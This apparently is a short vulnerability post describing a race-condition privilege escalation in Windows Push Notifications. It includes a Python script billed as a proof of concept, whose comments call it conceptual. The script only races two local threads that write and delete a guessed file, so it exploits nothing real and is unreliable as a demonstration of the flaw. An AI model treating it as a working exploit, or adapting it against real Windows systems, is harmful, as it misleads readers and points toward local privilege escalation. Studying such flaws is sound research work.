Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Push Notifications allows an authorized attacker to elevate privileges locally.
The following code is for security research and authorized testing only.
python
import threading
import os
import time
# Conceptual PoC for Race Condition in Windows Push Notifications
# This script demonstrates the logic of a race condition attack.
# Note: Actual exploitation requires specific knowledge of the vulnerable resource.
TARGET_RESOURCE = "C:\\ProgramData\\WindowsPushNotifications\\Shared\\config.tmp"
def malicious_thread():
"""Simulate the attacker trying to replace a resource."""
while True:
try:
# Attempt to create or modify the resource before the service checks it
with open(TARGET_RESOURCE, 'w') as f:
f.write("ATTACKER_PAYLOAD")
print("[+] Malicious write successful")
break
except Exception as e:
# Retry if resource is locked or not found
continue
def service_trigger_thread():
"""Simulate the legitimate service accessing the resource."""
time.sleep(0.05) # Small delay to simulate processing time and widen race window
try:
# Simulate service performing an operation that relies on the resource
if os.path.exists(TARGET_RESOURCE):
os.remove(TARGET_RESOURCE)
except:
pass
if __name__ == "__main__":
print(f"[*] Starting PoC for CVE-2026-32159...")
print(f"[*] Target Resource: {TARGET_RESOURCE}")
# Setup threads
t1 = threading.Thread(target=malicious_thread)
t2 = threading.Thread(target=service_trigger_thread)
# Start race condition
t1.start()
t2.start()
t1.join()
t2.join()
print("[*] PoC execution finished.")